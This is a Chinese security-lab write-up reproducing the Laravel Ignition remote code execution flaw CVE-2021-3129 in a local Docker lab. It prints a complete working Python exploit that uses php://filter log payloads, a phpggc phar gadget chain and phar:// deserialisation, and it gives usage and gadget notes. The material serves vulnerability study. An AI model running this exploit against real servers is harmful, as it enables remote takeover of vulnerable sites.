
“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
Laravel是一套简洁、开源的PHP Web开发框架(PHP Web Framework),旨在实现Web软件的MVC架构。
2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
Laravel <= 8.4.2
Ignition <2.5.2
实际上该漏洞是Laravel框架中的Ignition插件引发的RCE
Ignition中默认有几个solutions,其中一个solutions:vendor/facade/ignition/src/Solutions/Makeon.php由于过滤不严谨导致的该RCE漏洞。ViewVariableOptionalSoluti
关于对CVE-2021-3129和Ignition < 2.5.2 RCE 完整的分析可以参考
先知社区@奶权师傅的文章:https://xz.aliyun.com/t/9030
或者@ Crispr师傅的博客:https://www.crisprx.top/archives/340#CVE-2021-3129_Laravel
很全很棒很厉害
目前测试的@SNCKER师傅做到Docker环境很好用,需要开的Debug或者其他配置都已经写好了
Github:https://github.com/SNCKER/CVE-2021-3129

根据Readme直接去docker-compose up -d启动就好

默认端口是8888

可以点击修复debug

便得到laravel首页

Laravel从6.x版本开始,开始使用ignition插件美化debug模式信息,除此之外,ignition插件还附带了修复bug功能,刚才显示的“You app key is missing”直接点击“Generate app key”便修复了这个bug。
上述漏洞范围中提到ignition插件中的多个solutions,这些solutions都是用来快速修复错误用的
该漏洞发布时间已经略久,已经有了很多利用脚本,配合这篇文章不再重复造轮子了,直接拿来@crisprss师傅的exp利用
Github:https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
python原码:
# -*- coding=utf-8 -*-# Author : Crisprimport osimport requestsimport sysclass EXP:#这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用__gadget_chains = {"monolog_rce5":r"""php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "%s" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())""""}def __vul_check(self):res = requests.get(self.__url,verify=False)if res.status_code != 405 and "laravel" not in res.text:print("[+]Vulnerability does not exist")return Falsereturn Truedef __payload_send(self,payload):header = {"Accept": "application/json"}data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "cve20213129","viewFile": ""}}data["parameters"]["viewFile"] = payloadprint(data)res = requests.post(self.__url, headers=header, json=data, verify=False)return resdef __clear_log(self):payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"return self.__payload_send(payload=payload)def __generate_payload(self,gadget_chain):generate_exp = self.__gadget_chains[gadget_chain] % self.__command#print(generate_exp)exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'print("[+]exploit:")print(exp)return expdef __decode_log(self):return self.__payload_send("php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")def __unserialize_log(self):return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")def __rce(self):text = str(self.__unserialize_log().text)#print(text)text = text[text.index(']'):].replace("}","").replace("]","")return textdef exp(self):for gadget_chain in self.__gadget_chains.keys():print("[*] Try to use %s for exploitation." % (gadget_chain))self.__clear_log()self.__clear_log()self.__payload_send('A' * 2)self.__payload_send(self.__generate_payload((gadget_chain)))self.__decode_log()print("[*] Result:")print(self.__rce())def __init__(self, target, command):self.target = targetself.__url = requests.compat.urljoin(target, "_ignition/execute-solution")self.__command = commandif not self.__vul_check():print("[-] [%s] is seems not vulnerable." % (self.target))print("[*] You can also call obj.exp() to force an attack.")else:self.exp()def main():EXP("http://127.0.0.1:8888",sys.argv[1])if __name__ == "__main__":main()
思路和上述文章中分析的内容一样,不该该py目前仅写入了一个php gadget,通用性可能差一些,后续有时间我们也补一下其他gadget
因为该RCE漏洞需要php反序列化,实际上该py本身主要是将payload发送出去并做一些判断,而生成payload则需要php命令和php反序列化工具
phpggc:https://github.com/ambionics/phpggc
When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of is ysoserial https://github.com/ambionics/phpggc
除了下载phpggc工具python脚本中还需要调用php命令,故操作系统中需要安装php命令,
Debian:
sudo apt-get install php

注意目前phpggc不支持php8
环境都好了直接走py,注意python脚本调用phpgcc的路径,可以直接把py放到phpggc目录中

脚本没有参数控制,目标写死的,直接改EXP类的参数即可
脚本中的python的print会刷屏不好截图,注释了一哈

注意不同的phpggc gadget 的命令写法不同,具体参考phpggc
目前测试Laravel/RCE5和Laravel/RCE6和monolog/rce1三个Gadget Chains均可RCE
测试成功的gadget均已经加入vulmap豪华午餐
另外对laravel所有可利用的gadget魔改了一版遍历脚本,可以遍历多个可用的gadget来判断哪个可RCE
Github:https://github.com/zhzyker/CVE-2021-3129
效果:

https://xz.aliyun.com/t/9030
https://www.crisprx.top/archives/340#CVE-2021-3129_Laravel
https://github.com/SNCKER/CVE-2021-3129
https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
https://github.com/ambionics/phpggc
https://www.ambionics.io/blog/laravel-debug-rce




